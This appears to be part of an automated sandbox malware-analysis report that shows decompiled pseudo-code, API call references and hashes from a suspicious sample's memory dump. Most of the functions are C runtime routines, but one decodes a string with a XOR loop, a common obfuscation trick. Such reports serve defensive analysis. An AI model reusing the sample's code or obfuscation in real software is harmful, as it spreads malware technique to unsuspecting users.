									if(_t109 == 0) {
										E00427244(_t159);
									}
									if( *_t138 != 0xe06d7363) {
										_t116 = _a4;
										goto L40;
									} else {
										_t110 = _a4;
										if( *((intOrPtr*)(_t110 + 0x10)) == 3) {
											_t111 =  *((intOrPtr*)(_t110 + 0x14));
											if(_t111 == _t134 || _t111 == 0x19930521) {
												_t112 = _a4;
												_t164 =  *((intOrPtr*)(_t112 + 0x1c));
												if( *((intOrPtr*)(_t112 + 0x1c)) == 0) {
													E00427244(_t164);
												}
											}
										}
										_t116 = _a4;
										goto L18;
									}
								}
							}
						} else {
							goto L18;
						}
					}
				}
			}

0x00426c9c
0x00426c9c
0x00426c9c
0x00426c9f
0x00426ca5
0x00426cab
0x00426caf
0x00426cb2
0x00426cbc
0x00426cbc
0x00426cb4
0x00426cb4
0x00426cb7
0x00426cba
0x00000000
0x00000000
0x00426cba
0x00426cc1
0x00426cc2
0x00426ccb
0x00426ccc
0x00426ccd
0x00426e75
0x00426e75
0x00426e79
0x0042720f
0x00427211
0x00427216
0x0042721b
0x00427220
0x00427224
0x00427226
0x0042722f
0x0042723b
0x0042723b
0x0042723b
0x0042723b
0x0042b4b7
0x0042b4b9
0x0042b4be
0x0042b4c0
0x0042b4c9
0x0042b4ce
0x0042b4d3
0x0042b4db
0x0042b4dc
0x00426e7b
0x00426e91
0x00000000
0x00426e96
0x00426cd3
0x00426cd7
0x00426cdc
0x00426d69
0x00426d6f
0x00000000
0x00426d7f
0x00426d7f
0x00426d84
0x00426d91
0x00426da3
0x00426dab
0x00426db1
0x00426db4
0x00000000
0x00426dbf
0x00426dc1
0x00426dcc
0x00426dd1
0x00426dd4
0x00426dd7
0x00426dd9
0x00426dd9
0x00426ddf
0x00426de2
0x00426de6
0x00426de9
0x00426dec
0x00000000
0x00426dee
0x00426dee
0x00426df6
0x00426df9
0x00426e01
0x00000000
0x00000000
0x00426e03
0x00426e06
0x00426e0d
0x00000000
0x00426e0f
0x00426e0f
0x00000000
0x00426e0f
0x00000000
0x00426e0d
0x00426e23
0x00426e3b
0x00426e40
0x00426e43
0x00426e46
0x00426e46
0x00000000
0x00426e12
0x00426e12
0x00426e15
0x00426e18
0x00426e1e
0x00426dd7
0x00426e48
0x00426e48
0x00426e4e
0x00426e54
0x00426e57
0x00426dbc
0x00000000
0x00426dbc
0x00000000
0x00426e57
0x00426dbf
0x00426e5d
0x00426e5d
0x00426e61
0x00426e63
0x00426e65
0x00426e66
0x00426e6c
0x00000000
0x00000000
0x00000000
0x00000000
0x00426d84
0x00426ce2
0x00426ce2
0x00426ce7
0x00426cf4
0x00000000
0x00426cf6
0x00426cf6
0x00426cff
0x00426e6d
0x00426e71
0x00426d05
0x00426d0a
0x00426d0d
0x00426d1e
0x00426d21
0x00426d25
0x00426d2a
0x00426d2d
0x00426d2e
0x00426d30
0x00426d30
0x00426d3b
0x00426e72
0x00000000
0x00426d41
0x00426d41
0x00426d48
0x00426d4a
0x00426d4f
0x00426d58
0x00426d5b
0x00426d5f
0x00426d61
0x00426d61
0x00426d5f
0x00426d4f
0x00426d66
0x00000000
0x00426d66
0x00426d3b
0x00426cff
0x00000000
0x00000000
0x00000000
0x00426ce7
0x00426cdc

APIs

Part of subcall function 00426B77: _UnwindNestedFrames.LIBCMT ref: 00426B9A

InitializeCriticalSection.KERNEL32(00426CC1,00000003), ref: 0042B4D3

Strings

csm, xrefs: 00426D69
csm, xrefs: 00426CC5
csm, xrefs: 00426D35

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CriticalFramesInitializeNestedSectionUnwind
String ID: csm$csm$csm
API String ID: 2222982843-393685449
Opcode ID: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction ID: f15770d1f245a1dc1dc769a00c4ac03cd43f694df1eb78c53a90dae53adbc7e3
Opcode Fuzzy Hash: acd91f781ee38c348a87f521f2261be69d72136644fc5ab93a629eaade7a4ad2
Instruction Fuzzy Hash: 7E719E35B00229DFCF14DF95E881AAE7BB5BF04314F96409BE810AB252C739D951CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004294AE, Relevance: 6.2, APIs: 4, Instructions: 167
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004294AE(signed int _a4, signed int _a8, long _a12) {
				void _v5;
				signed int _v12;
				long _v16;
				signed int _t79;
				void* _t82;
				signed int _t86;
				signed int* _t89;
				long _t90;
				void* _t92;
				intOrPtr _t93;
				signed int _t97;
				intOrPtr _t98;
				char _t100;
				signed int _t101;
				long _t103;
				long _t106;
				signed int _t107;
				signed int _t113;
				signed int _t114;
				signed char _t117;
				intOrPtr _t118;
				long _t120;
				void* _t124;
				intOrPtr* _t125;
				signed int _t127;
				signed char* _t128;
				void* _t129;
				void* _t130;

				_v12 = _v12 & 0x00000000;
				_t113 = _a8;
				_t124 = _t113;
				if(_a12 == 0) {
					L42:
					__eflags = 0;
					return 0;
				}
				_t79 = _a4;
				_t125 = 0x432760 + (_t79 >> 5) * 4;
				_t127 = (_t79 & 0x0000001f) + (_t79 & 0x0000001f) * 8 << 2;
				_t82 =  *_t125 + _t127;
				_t117 =  *((intOrPtr*)(_t82 + 4));
				if((_t117 & 0x00000002) != 0) {
					goto L42;
				}
				if((_t117 & 0x00000048) != 0 &&  *((char*)(_t82 + 5)) != 0xa) {
					_a12 = _a12 - 1;
					 *_t113 =  *((intOrPtr*)( *_t125 + _t127 + 5));
					_t20 = _t113 + 1; // 0x1
					_t124 = _t20;
					_v12 = 1;
					 *((char*)( *_t125 + _t127 + 5)) = 0xa;
				}
				if(ReadFile( *( *_t125 + _t127), _t124, _a12,  &_v16, 0) != 0) {
					_t86 = _v16;
					_t118 =  *_t125;
					_v12 = _v12 + _t86;
					__eflags =  *(_t118 + _t127 + 4) & 0x00000080;
					if(( *(_t118 + _t127 + 4) & 0x00000080) == 0) {
						L41:
						return _v12;
					}
					__eflags = _t86;
					if(_t86 == 0) {
						L15:
						_t89 =  *_t125 + _t127 + 4;
						 *_t89 =  *_t89 & 0x000000fb;
						__eflags =  *_t89;
						L16:
						_t90 = _a8;
						_t120 = _v12 + _t90;
						__eflags = _t90 - _t120;
						_a12 = _t90;
						_v12 = _t120;
						if(_t90 >= _t120) {
							L40:
							_t114 = _t113 - _a8;
							__eflags = _t114;
							_v12 = _t114;
							goto L41;
						} else {
							goto L17;
						}
						while(1) {
							L17:
							_t92 =  *_a12;
							__eflags = _t92 - 0x1a;
							if(_t92 == 0x1a) {
								break;
							}
							__eflags = _t92 - 0xd;
							if(_t92 == 0xd) {
								__eflags = _a12 - _t120 - 1;
								if(_a12 >= _t120 - 1) {
									_a12 = _a12 + 1;
									_t97 = ReadFile( *( *_t125 + _t127),  &_v5, 1,  &_v16, 0);
									__eflags = _t97;
									if(_t97 != 0) {
										L26:
										__eflags = _v16;
										if(_v16 == 0) {
											L34:
											 *_t113 = 0xd;
											L35:
											_t113 = _t113 + 1;
											__eflags = _t113;
											L36:
											_t120 = _v12;
											__eflags = _a12 - _t120;
											if(_a12 < _t120) {
												continue;
											}
											goto L40;
										}
										_t98 =  *_t125;
										__eflags =  *(_t98 + _t127 + 4) & 0x00000048;
										if(( *(_t98 + _t127 + 4) & 0x00000048) == 0) {
											__eflags = _t113 - _a8;
											if(__eflags != 0) {
												L33:
												E0042BB80(__eflags, _a4, 0xffffffff, 1);
												_t130 = _t130 + 0xc;
												__eflags = _v5 - 0xa;
												if(_v5 == 0xa) {
													goto L36;
												}
												goto L34;
											}
											__eflags = _v5 - 0xa;
											if(__eflags != 0) {
												goto L33;
											}
											L32:
											 *_t113 = 0xa;
											goto L35;
										}
										_t100 = _v5;
										__eflags = _t100 - 0xa;
										if(_t100 == 0xa) {
											goto L32;
										}
										 *_t113 = 0xd;
										 *((char*)( *_t125 + _t127 + 5)) = _t100;
										goto L35;
									}
									_t101 = GetLastError();
									__eflags = _t101;
									if(_t101 != 0) {
										goto L34;
									}
									goto L26;
								}
								_t103 = _a12 + 1;
								__eflags =  *_t103 - 0xa;
								if( *_t103 != 0xa) {
									_a12 = _t103;
									goto L34;
								}
								_a12 = _a12 + 2;
								goto L32;
							}
							 *_t113 = _t92;
							_t113 = _t113 + 1;
							_a12 = _a12 + 1;
							goto L36;
						}
						_t93 =  *_t125;
						__eflags =  *(_t93 + _t127 + 4) & 0x00000040;
						if(( *(_t93 + _t127 + 4) & 0x00000040) == 0) {
							_t128 = _t93 + _t127 + 4;
							 *_t128 =  *_t128 | 0x00000002;
							__eflags =  *_t128;
						}
						goto L40;
					}
					__eflags =  *_t113 - 0xa;
					if( *_t113 != 0xa) {
						goto L15;
					}
					 *(_t118 + _t127 + 4) =  *(_t118 + _t127 + 4) | 0x00000004;
					goto L16;
				} else {
					_t106 = GetLastError();
					_t129 = 5;
					if(_t106 != _t129) {
						__eflags = _t106 - 0x6d;
						if(_t106 == 0x6d) {
							goto L42;
						}
						_t107 = E00429D73(_t106);
						L10:
						return _t107 | 0xffffffff;
					}
					 *((intOrPtr*)(E00429D61())) = 9;
					_t107 = E00429D6A();
					 *_t107 = _t129;
					goto L10;
				}
			}

0x004294b4
0x004294bd
0x004294c2
0x004294c4
0x00429682
0x00429682
0x00000000
0x00429682
0x004294ca
0x004294d8
0x004294e1
0x004294e4
0x004294e6
0x004294ec
0x00000000
0x00000000
0x004294f5
0x00429503
0x00429506
0x0042950a
0x0042950a
0x0042950d
0x00429514
0x00429514
0x00429530
0x0042956b
0x0042956e
0x00429570
0x00429573
0x00429578
0x0042967d
0x00000000
0x0042967d
0x0042957e
0x00429580
0x00429592
0x00429594
0x00429598
0x00429598
0x0042959b
0x0042959b
0x004295a1
0x004295a3
0x004295a5
0x004295a8
0x004295ab
0x00429677
0x00429677
0x00429677
0x0042967a
0x00000000
0x00000000
0x00000000
0x00000000
0x004295b1
0x004295b1
0x004295b4
0x004295b6
0x004295b8
0x00000000
0x00000000
0x004295be
0x004295c0
0x004295ce
0x004295d1
0x004295e7
0x004295fb
0x00429601
0x00429603
0x0042960f
0x0042960f
0x00429613
0x00429655
0x00429655
0x00429658
0x00429658
0x00429658
0x00429659
0x00429659
0x0042965c
0x0042965f
0x00000000
0x00000000
0x00000000
0x00429665
0x00429615
0x00429617
0x0042961c
0x00429630
0x00429633
0x00429640
0x00429647
0x0042964c
0x0042964f
0x00429653
0x00000000
0x00000000
0x00000000
0x00429653
0x00429635
0x00429639
0x00000000
0x00000000
0x0042963b
0x0042963b
0x00000000
0x0042963b
0x0042961e
0x00429621
0x00429623
0x00000000
0x00000000
0x00429625
0x0042962a
0x00000000
0x0042962a
0x00429605
0x0042960b
0x0042960d
0x00000000
0x00000000
0x00000000
0x0042960d
0x004295d6
0x004295d7
0x004295da
0x004295e2
0x00000000
0x004295e2
0x004295dc
0x00000000
0x004295dc
0x004295c2
0x004295c4
0x004295c5
0x00000000
0x004295c5
0x00429667
0x00429669
0x0042966e
0x00429670
0x00429674
0x00429674
0x00429674
0x00000000
0x0042966e
0x00429582
0x00429585
0x00000000
0x00000000
0x0042958d
0x00000000
0x00429532
0x00429532
0x0042953a
0x0042953d
0x00429553
0x00429556
0x00000000
0x00000000
0x0042955d
0x00429563
0x00000000
0x00429563
0x00429544
0x0042954a
0x0042954f
0x00000000
0x0042954f

APIs

ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000003), ref: 00429528
GetLastError.KERNEL32 ref: 00429532
ReadFile.KERNEL32(?,?,00000001,00000000,00000000), ref: 004295FB
GetLastError.KERNEL32 ref: 00429605

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction ID: 0c3f56f59b5ddb8de00e56d924bfdf09652d2d5f3f214e5ba9bd8ddb3cf10382
Opcode Fuzzy Hash: 3f785307c448bedb5446c6a9bf72b6bb0fc28e600880c9af1debf9112c80b894
Instruction Fuzzy Hash: DB61C6317043A59FDF218F58D884B997BE0BF11308F94449BE5658B291C378DD46CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C2A3, Relevance: 6.1, APIs: 4, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E0042C2A3(struct _CRITICAL_SECTION* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t48;
				signed int _t49;
				signed int _t53;
				signed int _t54;
				signed int _t60;
				signed int* _t71;
				signed int _t73;
				signed int _t85;
				signed int _t86;
				signed int* _t88;
				void* _t90;
				void* _t91;

				_t91 = __eflags;
				_t66 = __ebx;
				_push(0x14);
				_push(0x42f618);
				E0042664C(__ebx, __edi, __esi);
				 *(_t90 - 0x1c) =  *(_t90 - 0x1c) | 0xffffffff;
				_push(0xb);
				_t48 = E004274EB(__ebx, __edi, __esi, _t91);
				if(_t48 == 0) {
					L10:
					_t49 = _t48 | 0xffffffff;
					L26:
					return E00426687(_t49);
				}
				E0042758B(__ebx, __edi, 0xb);
				_t85 = 0;
				 *(_t90 - 4) = 0;
				while(1) {
					 *(_t90 - 0x24) = _t85;
					if(_t85 >= 0x40) {
						break;
					}
					_t88 =  *(0x432760 + _t85 * 4);
					if(_t88 == 0) {
						_t53 = E004263B4(0x480);
						 *(_t90 - 0x20) = _t53;
						__eflags = _t53;
						if(_t53 == 0) {
							break;
						}
						_t71 = 0x432760 + _t85 * 4;
						 *_t71 = _t53;
						 *0x432740 =  *0x432740 + 0x20;
						__eflags =  *0x432740;
						while(1) {
							__eflags = _t53 -  *_t71 + 0x480;
							if(__eflags >= 0) {
								break;
							}
							 *((char*)(_t53 + 4)) = 0;
							 *_t53 =  *_t53 | 0xffffffff;
							 *((char*)(_t53 + 5)) = 0xa;
							 *(_t53 + 8) =  *(_t53 + 8) & 0x00000000;
							_t53 = _t53 + 0x24;
							 *(_t90 - 0x20) = _t53;
						}
						_t86 = _t85 << 5;
						 *(_t90 - 0x1c) = _t86;
						_push(_t86);
						_t54 = E0042C1E1(_t66, _t86, 0x480, __eflags);
						__eflags = _t54;
						if(_t54 == 0) {
							_t42 = _t90 - 0x1c;
							 *_t42 =  *(_t90 - 0x1c) | 0xffffffff;
							__eflags =  *_t42;
						}
						break;
					} else {
						goto L4;
					}
					while(1) {
						L4:
						 *(_t90 - 0x20) = _t88;
						if(_t88 >=  &(( *(0x432760 + _t85 * 4))[0x120])) {
							break;
						}
						if((_t88[1] & 0x00000001) != 0) {
							L15:
							_t88 =  &(_t88[9]);
							continue;
						}
						if(_t88[2] != 0) {
							L13:
							_t21 =  &(_t88[3]); // 0x8c
							_t66 = _t21;
							EnterCriticalSection(_t66);
							__eflags = _t88[1] & 0x00000001;
							if((_t88[1] & 0x00000001) == 0) {
								 *_t88 =  *_t88 | 0xffffffff;
								asm("cdq");
								_t73 = 0x24;
								_t60 = (_t88 -  *(0x432760 + _t85 * 4)) / _t73 + (_t85 << 5);
								__eflags = _t60;
								 *(_t90 - 0x1c) = _t60;
								break;
							}
							LeaveCriticalSection(_t66);
							goto L15;
						}
						E0042758B(0, _t85, 0xa);
						 *(_t90 - 4) = 1;
						_t99 = _t88[2];
						if(_t88[2] != 0) {
							L12:
							 *(_t90 - 4) = 0;
							E0042C37C();
							goto L13;
						}
						_push(0xfa0);
						_t16 =  &(_t88[3]); // 0x8c
						if(E0042B4DF(_t99) != 0) {
							_t18 =  &(_t88[2]);
							 *_t18 = _t88[2] + 1;
							__eflags =  *_t18;
							goto L12;
						}
						_t48 = E00424FF2(_t90 - 0x10, 0xffffffff);
						goto L10;
					}
					__eflags =  *(_t90 - 0x1c) - 0xffffffff;
					if( *(_t90 - 0x1c) != 0xffffffff) {
						break;
					}
					_t85 = _t85 + 1;
				}
				_t44 = _t90 - 4;
				 *_t44 =  *(_t90 - 4) | 0xffffffff;
				__eflags =  *_t44;
				E0042C416();
				_t49 =  *(_t90 - 0x1c);
				goto L26;
			}

0x0042c2a3
0x0042c2a3
0x0042c2a3
0x0042c2a5
0x0042c2aa
0x0042c2af
0x0042c2b3
0x0042c2b5
0x0042c2bd
0x0042c344
0x0042c344
0x0042c410
0x0042c415
0x0042c415
0x0042c2c5
0x0042c2cb
0x0042c2cd
0x0042c2d0
0x0042c2d0
0x0042c2d6
0x00000000
0x00000000
0x0042c2dc
0x0042c2e5
0x0042c3b3
0x0042c3b9
0x0042c3bc
0x0042c3be
0x00000000
0x00000000
0x0042c3c0
0x0042c3c7
0x0042c3c9
0x0042c3c9
0x0042c3d0
0x0042c3d4
0x0042c3d6
0x00000000
0x00000000
0x0042c3d8
0x0042c3dc
0x0042c3df
0x0042c3e3
0x0042c3e7
0x0042c3ea
0x0042c3ea
0x0042c3ef
0x0042c3f2
0x0042c3f5
0x0042c3f6
0x0042c3fc
0x0042c3fe
0x0042c400
0x0042c400
0x0042c400
0x0042c400
0x00000000
0x00000000
0x00000000
0x00000000
0x0042c2eb
0x0042c2eb
0x0042c2eb
0x0042c2fc
0x00000000
0x00000000
0x0042c306
0x0042c36e
0x0042c36e
0x00000000
0x0042c36e
0x0042c30d
0x0042c357
0x0042c357
0x0042c357
0x0042c35b
0x0042c361
0x0042c365
0x0042c385
0x0042c391
0x0042c394
0x0042c39c
0x0042c39c
0x0042c39e
0x00000000
0x0042c39e
0x0042c368
0x00000000
0x0042c368
0x0042c311
0x0042c317
0x0042c31e
0x0042c321
0x0042c34f
0x0042c34f
0x0042c352
0x00000000
0x0042c352
0x0042c323
0x0042c328
0x0042c335
0x0042c34c
0x0042c34c
0x0042c34c
0x00000000
0x0042c34c
0x0042c33d
0x00000000
0x0042c343
0x0042c3a1
0x0042c3a5
0x00000000
0x00000000
0x0042c3a7
0x0042c3a7
0x0042c404
0x0042c404
0x0042c404
0x0042c408
0x0042c40d
0x00000000

APIs

__lock.LIBCMT ref: 0042C2C5

Part of subcall function 0042758B: EnterCriticalSection.KERNEL32(?,?,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 004275B3

__lock.LIBCMT ref: 0042C311
EnterCriticalSection.KERNEL32(0000008C,0042F618,00000014,0042C70F,?,00000000,00000000), ref: 0042C35B
LeaveCriticalSection.KERNEL32(0000008C), ref: 0042C368

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CriticalSection$Enter__lock$Leave
String ID:
API String ID: 885841014-0
Opcode ID: 70bea93074c46ab98e6e1713a03a6e54f4b622bba12bc4153c6b555d4a2c06ed
Instruction ID: 190f3578051f98c2978070aa1ace5d718f57cceca4cdef8a86f22cce7d92fca2
Opcode Fuzzy Hash: 70bea93074c46ab98e6e1713a03a6e54f4b622bba12bc4153c6b555d4a2c06ed
Instruction Fuzzy Hash: A3412531B007228BDB24EB65F88566E77A0AF01334FA5872FD461962D1CB7C8542CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0042A754, Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E0042A754() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t5;
				signed int _t6;
				signed int _t11;
				signed int _t12;
				signed int _t13;
				signed int _t24;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;

				if( *0x433890 == 0) {
					_t5 = E0042B499();
				}
				_t26 =  *0x432040; // 0x0
				_t24 = 0;
				if(_t26 != 0) {
					while(1) {
						_t6 =  *_t26;
						__eflags = _t6;
						if(_t6 == 0) {
							break;
						}
						__eflags = _t6 - 0x3d;
						if(_t6 != 0x3d) {
							_t24 = _t24 + 1;
							__eflags = _t24;
						}
						_t26 = _t26 + E004263F0(_t26) + 1;
					}
					_t5 = E004263B4(4 + _t24 * 4);
					_t25 = _t5;
					__eflags = _t25;
					 *0x432234 = _t25;
					if(_t25 != 0) {
						_t27 =  *0x432040; // 0x0
						while(1) {
							__eflags =  *_t27;
							if(__eflags == 0) {
								break;
							}
							_t30 = E004263F0(_t27) + 1;
							__eflags =  *_t27 - 0x3d;
							if( *_t27 == 0x3d) {
								L14:
								_t27 = _t27 + _t30;
								__eflags = _t27;
								continue;
							}
							_t12 = E004263B4(_t30);
							__eflags = _t12;
							 *_t25 = _t12;
							if(__eflags == 0) {
								_push( *0x432234);
								_t13 = E004255BE(0, _t25, _t27, __eflags);
								 *0x432234 = 0;
								_t11 = _t13 | 0xffffffff;
								L17:
								return _t11;
							}
							E00427340(_t12, _t27);
							_t25 = _t25 + 4;
							__eflags = _t25;
							goto L14;
						}
						_push( *0x432040);
						E004255BE(0, _t25, _t27, __eflags);
						 *0x432040 = 0;
						 *_t25 = 0;
						 *0x433884 = 1;
						_t11 = 0;
						__eflags = 0;
						goto L17;
					}
					goto L9;
				} else {
					L9:
					return _t5 | 0xffffffff;
				}
			}

0x0042a75f
0x0042a761
0x0042a761
0x0042a766
0x0042a76c
0x0042a770
0x0042a784
0x0042a784
0x0042a786
0x0042a788
0x00000000
0x00000000
0x0042a774
0x0042a776
0x0042a778
0x0042a778
0x0042a778
0x0042a780
0x0042a780
0x0042a792
0x0042a797
0x0042a799
0x0042a79c
0x0042a7a2
0x0042a7a9
0x0042a7dc
0x0042a7dc
0x0042a7de
0x00000000
0x00000000
0x0042a7ba
0x0042a7bb
0x0042a7bf
0x0042a7da
0x0042a7da
0x0042a7da
0x00000000
0x0042a7da
0x0042a7c2
0x0042a7c7
0x0042a7ca
0x0042a7cc
0x0042a805
0x0042a80b
0x0042a810
0x0042a816
0x0042a7ff
0x00000000
0x0042a800
0x0042a7d0
0x0042a7d7
0x0042a7d7
0x00000000
0x0042a7d7
0x0042a7e0
0x0042a7e6
0x0042a7eb
0x0042a7f1
0x0042a7f3
0x0042a7fd
0x0042a7fd
0x00000000
0x0042a7fd
0x00000000
0x0042a772
0x0042a7a4
0x00000000
0x0042a7a4

APIs

___initmbctable.LIBCMT ref: 0042A761
_strlen.LIBCMT ref: 0042A77A
_strlen.LIBCMT ref: 0042A7B3
_strcat.LIBCMT ref: 0042A7D0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: _strlen$___initmbctable_strcat
String ID:
API String ID: 109824703-0
Opcode ID: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction ID: 5385ac430a30b69aec2053d85f27ee94e75532dfac9a54d499d343a2729e6959
Opcode Fuzzy Hash: 44cb392498c457a785b614b44fbaef805f722a37786de15f251c48ecf979d9cf
Instruction Fuzzy Hash: EC1189726064309FD728BF247D4062B7BA5FB403347A4017FED8183262DB3D9855D68E

Uniqueness

Uniqueness Score: -1.00%

Function 004243E5, Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004243E5(void* __ebx, void* __edi, void* __esi, CHAR* _a4, intOrPtr _a8) {
				intOrPtr _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				intOrPtr _t23;
				void* _t24;
				void* _t37;
				CHAR* _t43;
				void* _t48;

				_t23 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t23;
				_v16 = 0x2f;
				_v15 = 0x14;
				_v14 = 0x11;
				_v13 = 0x14;
				_v12 = 0x15;
				_v11 = 0xd;
				_v10 = 0x14;
				_v9 = 0x7a;
				_t24 = 0;
				do {
					 *(_t48 + _t24 - 0xc) =  *(_t48 + _t24 - 0xc) ^ 0x0000007a;
					_t24 = _t24 + 1;
				} while (_t24 < 8);
				_push(__esi);
				_push(__edi);
				E00425A48(_t37, _a8);
				_t43 = _a4;
				_t17 =  &(_t43[0x104]); // 0x119
				lstrcpyA(_t17,  &_v16);
				lstrcpyA(_t43,  &_v16);
				_t20 =  &(_t43[0x208]); // 0x21d
				lstrcpyA(_t20,  &_v16);
				_push(_a8);
				_push(_t43);
				return E00424873(E00423FDF(__ebx, _t43, lstrcpyA), _v8);
			}

0x004243eb
0x004243f0
0x004243f3
0x004243f7
0x004243fb
0x004243ff
0x00424403
0x00424407
0x0042440b
0x0042440f
0x00424413
0x00424415
0x00424415
0x0042441a
0x0042441b
0x00424420
0x00424421
0x00424425
0x0042442a
0x00424438
0x0042443f
0x00424446
0x0042444c
0x00424453
0x00424455
0x00424458
0x0042446b

APIs

lstrcpyA.KERNEL32(00000119,0000007A,00000009,00000000), ref: 0042443F
lstrcpyA.KERNEL32(00000015,0000007A), ref: 00424446
lstrcpyA.KERNEL32(0000021D,0000007A), ref: 00424453

Strings

G@,, xrefs: 004243EB

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrcpy
String ID: G@,
API String ID: 3722407311-3496681718
Opcode ID: 0eb7a827f54cd555deb2c5c874c655ac7f825bac120ade8663a1a0916e1f1f5c
Instruction ID: 5194efb65f506d526e7f71e203f32023f72f5c5d4dc20190977304cf2bfc77c9
Opcode Fuzzy Hash: 0eb7a827f54cd555deb2c5c874c655ac7f825bac120ade8663a1a0916e1f1f5c
Instruction Fuzzy Hash: 4311A935D0429CFADF01DBA5E848ACEBFB89F45314F0080AAE554E7152D7796308DB65

Uniqueness

Uniqueness Score: -1.00%

Function 004074A0, Relevance: 6.0, APIs: 4, Instructions: 39
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004074A0(void* __ecx, intOrPtr _a4) {
				intOrPtr _t12;
				void* _t15;
				intOrPtr _t25;
				void* _t28;

				_t28 = __ecx;
				_t25 = 0;
				WaitForSingleObject( *(__ecx + 0x34), 0xffffffff);
				_t12 = _a4;
				if(_t12 == 0) {
					_t25 =  *((intOrPtr*)(_t28 + 0x18));
					goto L6;
				} else {
					_t15 = _t12 - 2;
					if(_t15 == 0) {
						ReleaseMutex( *(_t28 + 0x34));
						return  *((intOrPtr*)(_t28 + 0x24));
					} else {
						if(_t15 != 1) {
							L6:
							ReleaseMutex( *(_t28 + 0x34));
							return _t25;
						} else {
							ReleaseMutex( *(_t28 + 0x34));
							return  *((intOrPtr*)(_t28 + 0x30));
						}
					}
				}
			}

0x004074a2
0x004074aa
0x004074ac
0x004074b6
0x004074b8
0x004074ea
0x00000000
0x004074ba
0x004074ba
0x004074bd
0x004074dd
0x004074e7
0x004074bf
0x004074c0
0x004074ed
0x004074f1
0x004074fb
0x004074c2
0x004074c9
0x004074d3
0x004074d3
0x004074c0
0x004074bd

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,?,00419270,00000002,?,0000000A,00000000,?,?,?,?,?,?,?), ref: 004074AC
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074C9
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074DD
ReleaseMutex.KERNEL32(?,?,0000000A,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 004074F1

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

